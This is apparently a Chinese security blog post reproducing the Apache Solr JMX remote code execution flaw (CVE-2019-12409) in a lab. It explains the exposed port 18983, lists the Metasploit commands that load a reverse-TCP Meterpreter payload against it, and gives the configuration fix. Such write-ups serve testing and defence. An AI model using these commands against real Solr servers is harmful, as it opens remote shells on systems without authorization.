Apache Solr远程代码执行漏洞(CVE-2019-12409)复现
昨天看文章发现JMX也可以被利用,而且这个solr的洞刚好是这个类型的所以复现下!!
漏洞简介:
近日安全研究人员JanHøydahl披露了Apache Solr的8.1.1和8.2.0发行版中的默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段值默认为”true”.如果使用受影响版本中的默认配置,那么将启用JMX监视服务并将对公网监听一个18983的RMI端口,且无需进行任何身份验证.如果防火墙中的入站流量打开了此端口,则只要具有Solr节点网络访问权限就能够访问JMX,并且可以上传恶意代码在Solr服务器上执行.
该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。
影响版本:
solr 8.1.1
solr 8.2.0
环境搭建:
(1) 下载solr 8.1.1(提前安装好java环境)
(2) 启动solr:
cd /root/solr-8.1.1/bin
./solr start -p 8983 -force(因为我们是用root用户启动的所以要加-force)
如下图:
我们可以看到其在启动后会默认开启18983端口
漏洞复现:
利用msf攻击JMX:
use exploit/multi/misc/java_jmx_server
set payload java/meterpreter/reverse_tcp
set LHOST 172.26.1.156
set RPORT 18983
set RHOST 172.26.1.134
run
如下图:
漏洞防御:
将Solr安装目录/bin文件夹下的solr.in.sh 配置文件中的“ENABLE_REMOTE_JMX_OPTS”=“true”配置项改为 “false”,然后重启Solr。
参考链接:
- 上一篇: 陌生人的文档莫着急打开!!
- 下一篇: XXE漏洞学习